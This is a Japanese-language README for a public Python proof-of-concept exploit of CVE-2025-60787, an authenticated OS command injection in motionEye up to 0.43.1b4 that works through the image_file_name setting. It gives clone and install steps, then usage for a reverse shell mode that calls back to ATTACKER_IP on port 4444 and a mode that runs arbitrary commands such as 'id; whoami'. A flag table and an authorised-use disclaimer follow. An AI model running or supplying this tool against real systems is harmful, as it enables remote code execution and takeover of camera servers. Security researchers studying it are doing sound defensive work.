
CVE-2025-60787のPython PoC、motionEye <= 0.43.1b4における、サニタイズされていないimage_file_name設定を介した認証済みOSコマンドインジェクションRCE
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2025-60787 |
| CVSS スコア | 7.2 (High) |
| タイプ | OS コマンドインジェクション (CWE-78) |
| 影響を受けるバージョン | motionEye <= 0.43.1b4 |
| 修正バージョン | 0.43.1b5 |
motionEye は image_file_name などの設定フィールドに任意の文字列を受け入れ、それらをそのまま Motion 設定ファイル (/etc/motioneye/camera-*.conf) に書き込みます。Motion サービスが再起動すると、これらのフィールドをシェル展開可能な文字列として解釈するため、認証済み攻撃者が任意の OS コマンドを注入・実行できます。
Web UI にはこれらのフィールドに対するクライアントサイドのバリデーションが存在しますが、API リクエストを直接送信することで簡単にバイパスできます。
image_file_name 値を含む修正済み設定を POST するcapture_mode: interval-snapshots 経由)requests ライブラリgit clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt
エクスプロイトは リバースシェル と コマンド実行 の2つのモードをサポートしています。
自分のマシンでリスナーを起動し、次を実行します:
python3 exploit.py revshell \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-i ATTACKER_IP \
--port 4444
python3 exploit.py command \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-e "id; whoami"
| フラグ | 説明 |
|---|---|
--url | ターゲットの motionEye URL(ポートを含む) |
--user | motionEye のユーザー名 |
--password | motionEye のパスワード |
-i / --host | リスナー IP(revshell モード) |
--port | リスナーポート(revshell モード) |
-e / --exec | 実行するコマンド(command モード) |
--camera-id | 特定のカメラ ID を指定 |
--sh | /bin/bash の代わりに /bin/sh を使用 |
--no-verify | TLS 証明書の検証をスキップ |
--proxy | プロキシ経由でトラフィックをルーティング(例: http://127.0.0.1:8080) |
このツールは認可されたセキュリティテストおよび教育目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。作者は本ソフトウェアの誤用について一切の責任を負いません。テストを行う前に必ず適切な許可を得てください。
このプロジェクトは MIT ライセンス の下でライセンスされています。